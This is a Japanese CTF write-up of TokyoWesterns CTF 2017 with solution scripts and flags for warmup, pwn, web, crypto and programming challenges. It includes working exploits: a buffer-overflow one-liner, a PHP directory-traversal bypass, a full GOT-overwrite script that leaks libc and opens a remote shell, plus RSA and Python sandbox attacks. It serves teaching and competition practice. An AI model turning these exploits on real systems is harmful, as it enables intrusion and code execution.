チーム@kusano_kは648点で56位。Google CTFと同様に解いたチームが多いほど、問題の点数が下がっていく方式。
Welcome!!
TWCTF{Welcome_To_TWCTF2017!!}
Just do it!
パスワードを読み込んで、P@SSWORDならばCorrect Password, Welcome!と、それ以外ならばInvalid Password, Try Again!と表示するプログラム。正解時のメッセージのアドレスは事前にスタック上の変数に書き込まれている。パスワードの読み込み部分にバッファオーバーフローの脆弱性があるので、このポインタをフラグのアドレスに書き換えれば良い。ちなみに、readで読み込んでいるので、ncでは末尾に改行が付いてしまい、Correct Password, Welcome!のメッセージは見られない。
$ python -c 'print "P@SSWORD\x00aaaaaaaaaaa\x80\xa0\x04\x08"' | nc pwn1.chal.ctf.westerns.tokyo 12345
Welcome my secret service. Do you know the password?
Input the password.
TWCTF{pwnable_warmup_I_did_it!}
TWCTF{pwnable_warmup_I_did_it!}
Rev Rev Rev
解析。入力を逆転し、バイト単位でビットを逆転し、NOTを掛けて、比較している。逆算すれば良い。
flag = [
0x41, 0x29, 0xd9, 0x65, 0xa1, 0xf1, 0xe1, 0xc9, 0x19, 0x09, 0x93, 0x13, 0xa1, 0x09, 0xb9, 0x49,
0xb9, 0x89, 0xdd, 0x61, 0x31, 0x69, 0xa1, 0xf1, 0x71, 0x21, 0x9d, 0xd5, 0x3d, 0x15, 0xd5
]
flag = [f^0xff for f in flag]
for i in range(len(flag)):
f = 0
for j in range(8):
f = f<<1 | flag[i]>>j&1
flag[i] = f
flag = flag[::-1]
print "".join(map(chr, flag))
TWCTF{qpzisyDnbmboz76oglxpzYdk}
Freshen Uploader
アップローダー。ファイルをアップロードすることはできず、すでにアップロードされたファイルの閲覧のみ。3番目のファイルが見えない。ディレクトリトラバーサルが可能なので、
でソースコードが読める。1個目のフラグが書かれている。
<?php
// TWCTF{then_can_y0u_read_file_list?}
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename='$filename'");
readfile("uploads/$filename");
同様にしてindex.phpを見ると、file_list.phpからファイルの一覧を読み込んでいる。ただし、download.phpでfile_listを含むファイル名が弾かれている。判定が!=なのが脆弱性。striposは文字列が存在する場合はその位置を、存在しない場合はfalseを返す。!=の比較では、0とfalseが同値とみなされてしまう。fの先頭にfile_listを書けば良い。
file_list.phpを見ると、3番目のファイルの名前が分かる。
TWCTF{php_is_very_secure}
Palindromes Pairs - Coding Phase -
競技プログラミング。文字列の配列sが与えられる。文字列の添え字の組(i, j)のうち、s[i]+S[j]が回文となるものの個数を返せという問題。
ガチなのが来たな……。回文ってどうするんだったっけな……と一瞬思ったけど、問題文を良く見たらn <= 50だったのでやるだけ。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ppc1.chal.ctf.westerns.tokyo", 8765))
def readline():
l = ""
while True:
l += s.recv(1)
if l[-1]=="\n":
return l[:-1]
for _ in range(44):
print readline()
for _ in range(50):
print readline()
n = int(readline())
w = readline().split()
print n, w
ans = 0
for i in range(n):
for j in range(n):
if w[i]+w[j]==(w[i]+w[j])[::-1]:
ans += 1
print "ans", ans
s.send("%s\n"%ans)
print readline()
print readline()
print readline()
（略）
Input 49/50
20 ['gak', 'xs', 'gv', 'nav', 'k', 'szb', 'y', 'bxi', 'jal', 'lgt', 'fbn', 'qvi', 't', 'si', 'bza', 'lte', 'a', 'vjy', 'j', 'ay']
ans 7
Correct!
Input 50/50
46 ['a', 'a', 'w', 'k', 'h', 'dd', 'rjc', 'h', 'r', 'hrd', 'p', 'dcj', 'z', 'nj', 'aw', 'cn', 'z', 'h', 'b', 'u', 'j', 'jra', 'n', 'rz', 'pn', 'zan', 'bb', 'wh', 'd', 'pb', 'zw', 'b', 'zk', 'c', 'a', 'ur', 'k', 'p', 'ddw', 'jww', 'h', 'up', 'dd', 'c', 'rkb', 'pr']
ans 107
Correct!
Congratulations! The Flag is 'TWCTF{find_favorite_smell}'.
TWCTF{find_favorite_smell}
My Simple Cipher
message = flag + "|" + key
encrypted = chr(random.randint(0, 128))
for i in range(0, len(message)):
encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)
という暗号化。
encrypted[i+1]にencrypted[i]が加えられている部分は、単純に引き算するだけ。
message[i] + key[i%len(key]については、messageがflagを含んでいることが脆弱性。まず、|に対応する位置のkeyは分かる。keyの1箇所が分かれば、対応する位置の暗号文は解読できる。暗号文が解読できれば対応する位置のkeyが……。真面目に位置を計算するのが面倒だったので、ループを回して埋められるところから埋めていくようにした。
C = open("encrypted.txt").read()[:-1]
C = [int(C[i:i+2], 16) for i in range(0, len(C), 2)]
C = [(C[i+1] - C[i])%128 for i in range(len(C)-1)]
P = [-1]*len(C)
P[-14] = ord("|")
for _ in range(len(C)):
for i in range(len(C)):
if P[i%13-13]!=-1 and P[i]==-1:
P[i] = (C[i] - P[i%13-13])%128
if P[i%13-13]==-1 and P[i]!=-1:
P[i%13-13] = (C[i] - P[i])%128
print "".join(map(chr, P))
TWCTF{Crypto-is-fun!}
ここまでの問題はジャンルにWarmupが付いている
swap
Pwn。アドレスを2個受け取って、そのアドレスのメモリ8バイトを交換するプログラム。
==============================================
1. Set addrsses
2. Swap both addrress of value
0. Exit
Your choice:
任意のアドレスが読めて、任意のアドレスに書き込めるのだから簡単かと思いきや、なかなか難しい。交換するので、指定するアドレスはどちらも読み書き可能でなければならない。指定するアドレスはreadで読み込んでatollしていて、アドレスの数値の後に任意のデータを埋め込めるが、当然ASLRは有効なのでスタックのアドレスが分からない。アドレスが分かっていて、読み書き可能な領域がほとんど無いぞ……。
.gopがそういう領域だった。メモリの交換はmemcpyで行われている。まずは.gopのmemcpyとreadを交換する。この時の順番がミソ。tmp=1st, 1st=2nd, 2nd=tmpとして交換している。1stをmemcpy、2ndをreadとすると、1st=2ndでmemcpyがreadになり、2nd=tmpが無視されるので、readは引き続きそのまま動く。memcpyのdstとsrcがreadのfdとbufに対応する。fdが変な値ならばreadはそのままスルーするらしい。
これで、1stに0を、2ndにアドレスを指定することで、指定したアドレスに8バイトのデータを書き込めるようになった。シェルを取るためにはlibcのアドレスをリークさせる必要がある。Your choiceで入力された文字列を数値に変換するatoiを利用することにした。atoiをputsに変えることで、atoiに渡されるバッファの後ろのメモリを\0まで出力させることができる。
この辺のアドレスを過去に使用するのがlibc内のputsでOSによって挙動が異なる。手元のCentOSとサーバーで挙動が違って困った。試しにUbuntuを使ってみたら、サーバーと同じように動作した。
atoiをputsにした上で、aと書き込むと616637527d7fという文字列が返ってきた。libc内のアドレスっぽいので、デバッガ上でswapを動かしてどこのアドレスか確認したところ、_IO_2_1_stdout_だった。これでsystemのアドレスが計算できる。
あとはatoiをsystemにして、/bin/shを書き込めば、シェルが取れる。
putsは仕様では「正の値を返す」としか決まっていないが、末尾の改行を含んだ出力した文字数を返すらしい。この挙動を利用すれば、入力する文字列の長さを変えることで、Your choiceは引き続き使える。
import socket
import struct
import telnetlib
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("pwn1.chal.ctf.westerns.tokyo", 19937))
#s.connect(("localhost", 1234))
#s.connect(("localhost", 5678))
def readline():
l = ""
while True:
l += s.recv(1)
if l[-1]=="\n":
return l[:-1]
def readmenu():
for _ in range(5):
print readline()
# memcpy = read
readmenu()
s.send("1\n")
print readline()
s.send("%d\n"%0x601040)
print readline()
s.send("%d\n"%0x601028)
readmenu()
s.send("2\n")
# atoi = puts
readmenu()
s.send("1\n")
print readline()
s.send("0\n")
print readline()
s.send("%d\n"%0x601050)
readmenu()
s.send("2\n")
time.sleep(1)
s.send(struct.pack("<Q", 0x4006b0))
# read libc
print "read libc"
readmenu()
s.send("a")
d = readline()
print d
print d.encode("hex")
stdout = struct.unpack("<Q", d[:8]+"\0"*(8-len(d[:8])))[0]
stdout = stdout - 0x61
print "stdout", hex(stdout)
# atoi = system
print "atoi = system"
system = stdout - 0x3c5600 + 0x45390
readmenu()
s.send("\0")
print readline()
print readline()
s.send("0\n")
print readline()
s.send("%d\n"%0x601050)
readmenu()
s.send("a\0")
print readline()
time.sleep(1)
s.send(struct.pack("<Q", system))
# system
print "system"
readmenu()
s.send("/bin/sh")
print "----"
t = telnetlib.Telnet()
t.sock = s
t.interact()
（略）
----
ls -al
total 28
drwxr-x--- 2 root p19937 4096 Sep 2 00:31 .
drwxr-xr-x 11 root root 4096 Sep 1 19:08 ..
-rw-r----- 1 root p19937 32 Sep 1 19:07 flag
-rwxr-x--- 1 root p19937 59 Sep 2 00:31 launch.sh
-rwxr-x--- 1 root p19937 9288 Sep 1 19:07 swap
cat flag
TWCTF{SWAP_SAWP_WASP_PWAS_SWPA}
TWCTF{SWAP_SAWP_WASP_PWAS_SWPA}
BabyRSA
問題文は、「しばしばBaby*という問題はBaby向けではないのである」。知ってた。
p = rand(2**1024)
q = 19 * p + rand(2**512)
p = next_prime(p)
q = next_prime(q)
e = 65537
d = mod_inverse(e, (p - 1) * (q - 1))
n = (p.to_i * q.to_i)
で、RSA暗号。暗号化するフラグをパディングしていたりと他はしっかりしているので、nを素因数分解するしかない。
qに加えられている乱数のビット幅が小さいので、二分探索によってnの平方根を求めることで、pとqの値がだいたい分かる。上位512ビットくらい。さらに、19が乗算されているので、qのビット数は1028ビットくらいになる。素因数の上位ビットが半分くらい分かっているとき、nを多項式時間で素因数分解できるらしい。Partial Key Exposure Attackというとか。
理論は全く分かっていないが、ももいろテクノロジーのプログラムをそのまま使ったらqが出てきた。
n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423
l = 0
r = n
while r-l>1:
m = (r-l)/2+l
if m*(19*m+2**512)>n:
r = m
else:
l = m
p = l
print p
n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423
p = 142705255772364982838516531715718191640815441800236739365553038697417755590297275781522823491205105009501621401991866858062431379476890096993289842661379656933128403922885517867940659143039044081293033569177112845189717094693466856637267709094447188480502894515883204817009882440286776737486699014352315017128
q = 19*p
PR.<x> = PolynomialRing(Zmod(n))
f = x + q
kbits = 512
x0 = f.small_roots(X=2^kbits, beta=0.3)[0]
x0+q
2711399859674934673931814102598645641175493394204498047945507735250937356215648239848933646332896995180530806637845470303186196210060911842872507010566213492961135662215921968753949975482648800278196297048045096783128013026497367853790321266446269754792894427483593297724124126249179455165834403387544079388999
n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423
q = 2711399859674934673931814102598645641175493394204498047945507735250937356215648239848933646332896995180530806637845470303186196210060911842872507010566213492961135662215921968753949975482648800278196297048045096783128013026497367853790321266446269754792894427483593297724124126249179455165834403387544079388999
p = n/q
assert p*q == n
def exgcd(m, n):
if n==0:
assert m==1
return 1, 0
else:
x, y = exgcd(n, m%n)
return y, x-m/n*y
e = 65537
d, _ = exgcd(e, (p-1)*(q-1))
d %= (p-1)*(q-1)
C = 238128932536965734026453335534508678486770867304645614119195536048961186128744314667991999168452564298994773996973787655358503271491181214369796509942047091225518293577154563021214085132019889288510474458242494876257330038265066123460887568813277411779817556316602871932730284368524299559699693787556478631297630514938453794107136748994144175123917418701679413905695916367530746728699301383100433069740863537869450361306987480687067608102552418211244703552910903168179094472596152349098076535870469807035136435631458879919434041758274344589567529971195683495146426258135341109919085270442486183365562919531353370683625
print hex(pow(C, d, n))[2:-1].decode("hex")
TWCTF{secretly_cherry-blossom-viewing}
Let's go!
解けなかった。
Go言語の解析。
go tool objdump lets_go
で、ソースコードのファイル名や行数が付いて逆アセンブルコードが出てくる。分量が多いから諦めてしまったけど、他の問題で時間を使って結局解けないならば、時間を掛ければ解ける解析に取りかかるべきだったかもしれない。
simple note
解けなかった。
ノートを追加したり、削除したり、編集したり、閲覧したりするプログラム。ノートはmallocで確保される。作成時には指定したサイズが使用される。このサイズは保存されていなくて、編集時にはstrlenによってノートのサイズを求めている。直後のメモリが非0ならば、そのメモリの閲覧や編集ができる。mallocで確保したメモリは順番に並んでいて、あるメモリの直後は、直後に確保したメモリのmalloc用の管理領域。先頭はprev_sizeらしい。普段は0だけど、解放時は何か書き込まれて再確保に利用されるらしい。この辺で何とかするのだろうか。
Backpacker's Problem
解けたチームは20チームで、今回私が解いた問題のうちでは最も少ない。嬉しい。
整数の配列aが与えられて、その中から合計が0となる1個以上の整数を返す。a[i]の絶対値は100ビット、|a|は最大200。
乱数は、
static std::mt19937 mt = std::mt19937(std::random_device()());
で作っている。問題の生成時には必ず答えが存在するように作成される。std::random_device()()の返す値は32bitなので、初期値を推測する問題かなと最初は考えた。mtの返す最初の値から、初期値を引くテーブルを作ろうとしたけど、一晩動かしても終わらないし、中身を見てみたら最初の1個の値が意外と衝突していたので断念。先に確率を計算するべきだった。
// Check sum
check(!std::accumulate(b.begin(), b.end(), 0));
ここが脆弱性。最後の引数が0なので、accumulateはint型の合計値を計算する。競技プログラミングのプログラムを書いているときに警告を見た覚えがある。
合計の下位32bitが0になるような値を返せば、チェックをパスする。確率的に、最初の32個程度の整数の組み合わせの中にそのような組み合わせが存在する。整数の個数がn個のナップサック問題は半分全列挙でO(2^(n/2)log(n)) で解ける。n=32くらいならば1秒もかからない。最初のn/2個の組み合わせを全て列挙して、合計値をstd::mapなどで覚えておく。残りの整数の組み合わせを列挙して、-sum(a)がmapの中に存在するかを見れば良い。O(log n)で答えが返ってくる。
#include <iostream>
#include <map>
#include <vector>
using namespace std;
int main()
{
int n;
cin>>n;
vector<unsigned int> A(n);
for (unsigned int &a: A)
cin>>a;
vector<int> ans;
if (n <= 20)
{
for (int b=1; b<1<<n; b++)
{
unsigned int S = 0;
for (int i=0; i<n; i++)
if (b>>i&1)
S += A[i];
if (S == 0)
{
for (int i=0; i<n; i++)
if (b>>i&1)
ans.push_back(i);
break;
}
}
}
else
{
map<unsigned int, int> M;
for (int b=0; b<1<<20; b++)
{
unsigned int S = 0;
for (int i=0; i<20; i++)
if (b>>i&1)
S += A[i];
M[~S+1] = b;
}
for (int b=0; ; b++)
{
unsigned int S = 0;
for (int i=20; i<n; i++)
if (b>>(i-20)&1)
S += A[i];
if (M.count(S) > 0 && (b!=0 || M[S]!=0))
{
for (int i=0; i<20; i++)
if (M[S]>>i&1)
ans.push_back(i);
for (int i=20; i<n; i++)
if (b>>(i-20)&1)
ans.push_back(i);
break;
}
}
}
cout<<ans.size();
for (int a: ans)
cout<<" "<<a;
cout<<endl;
}
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("backpacker.chal.ctf.westerns.tokyo", 39581))
def readline():
l = ""
while True:
l += s.recv(1)
if l[-1]=="\n":
return l[:-1]
for _ in range(12):
print readline()
for _ in range(20):
print readline()
print readline()
l = readline()
print readline()
print l
l = map(int, l.split())
l2 = " ".join(str(x&0xffffffff) for x in l)
print l2
proc = subprocess.Popen(["solve.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
r = proc.communicate(l2)[0]
print r
r = map(int, r.split())
r = " ".join(map(str, [r[0]] + [l[x+1] for x in r[1:]]))
s.send(r+"\n")
print readline()
乱数の初期値を推測すると思って、ソルバーをC++で書いていたけれど、この程度ならばPythonでも間に合ったかもしれない。
TWCTF{CPP_have_some_traps}
pplc
問題名は、Professional Programming and Language and Codingだろうか？ Pythonの知識が問われる。Pythonは妙なグローバル変数などが少ないので、dir(x)で変数やモジュールを調べれば何とかなる。全3問。
private
class Private:
def __init__(self):
pass
def __flag(self):
return "TWCTF{CENSORED}"
p = Private()
Private = None
d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]
プライベートメソッドを呼び出せという問題。Pythonにプライベートメソッドなどというものは存在せず、名前が_ClassName__methodに変わるだけ。
p._Private__flag()……かと思ったけど、Privateが含まれる文字列は弾かれている。それならば、eval("p._P"+"rivate__flag()")……と思ったけど、長すぎてダメ。dir(p)からメソッド名を取れば良い。eval("p."+dir(p)[0]+"()")……でもまだ長い。eval("p.%s()"%dir(p)[0])。
TWCTF{__private is not private}
local
def get_flag(x):
flag = "TWCTF{CENSORED}"
return x
ローカル変数の読み出し。x.__hoge__みたいなのに何か設定すれば良いのかと思ったけど、便利なものは無かった。dir(get_flag)をすると、func_codeというものがあったので、これで。get_flag.func_code.co_constsに対して、(None, 'TWCTF{func_code is useful for metaprogramming}')が返ってくる。
TWCTF{func_code is useful for metaprogramming}
comment
import comment_flag
'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''
dir(comment_flag)としてみたら、comment_flag.__doc__という属性があった。なるほど、最初のコメントはモジュールのドキュメントになるのか。
FLAG is TWCTF{very simple docstring}
BabyDLP
問題文は、「通常のところBaby*という問題は簡単なものである」。そうだろうか……
巨大な素数p、g=2、フラグmに対して、pow(g, m^s, p)を返してくるサーバー。
a = pow(g, m^0, p)、b = pow(g, m^1, p)とする。a=2*bならばm^1によって値が1増えたということで、mの最下位ビットは0である。b=2*aならば、mの最下位ビットは1。同様にして、mの値を1ビットずつ推測できる。
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ppc2.chal.ctf.westerns.tokyo", 28459))
p = 160634950613302858781995506902938412625377360249559915379491492274326359260806831823821711441204122060415286351711411013883400510041411782176467940678464161205204391247137689678794367049197824119717278923753940984084059450704378828123780678883777306239500480793044460796256306557893061457956479624163771194201
g = 2
s.send("0\n")
a = int(s.recv(1000)[2:], 16)
flag = 0
for i in range(1024):
s.send("%x\n" % 2**i)
b = int(s.recv(1000)[2:], 16)
if b*pow(g, 2**i, p)%p == a:
flag |= 1<<i
if len("%x"%flag)%2==0:
print ("%x"%flag).decode("hex")
TWCTF{0f97c1c3ac2aedbd7fb8cd39d50f2b561d31f770}
Palindromes Pairs - Challenge Phase -
解けなかった。
WarmupのPalindromes Pairsの解答が載っているから、チャレンジしてみろという問題。面白い。コピペできないように画像にするところまでTopCoderを再現する必要があるのか？と思ったけど、このコードのコピペでWarmupのほうを解くのを防ぐためか。
制限がWarmupのものよりも大きく、N<=1000、文字列長も1000まで。ローリングハッシュを使っていた。なるほど。ハッシュ値の衝突を回避するため、ローリングハッシュに使う値の組は8個用意している。ただし、rand()で生成しているので、この値は推測できる。
longを使っているので乗算で桁あふれしそうだと思ったけど、GCCではlongは8バイトだった。Visual Studioだと4バイト。
ハッシュを衝突させるのが正攻法。1個目のハッシュが0になるような文字列をたくさん作れば、それをどのように組み合わせても1個目のハッシュは0になる。なので、その組み合わせを探索して2個目のハッシュが0となる文字列を作り……と考えたけれど、文字列が長くなりすぎる。
連立方程式と考えて、LLLというものを使うらしい。
途中で「誤った答えでもフラグが出力されるようになっていました」ということで、元のフラグの点数が減らされ、新しいフラグが追加された。「誤った答え」がどんなものなのか気になる。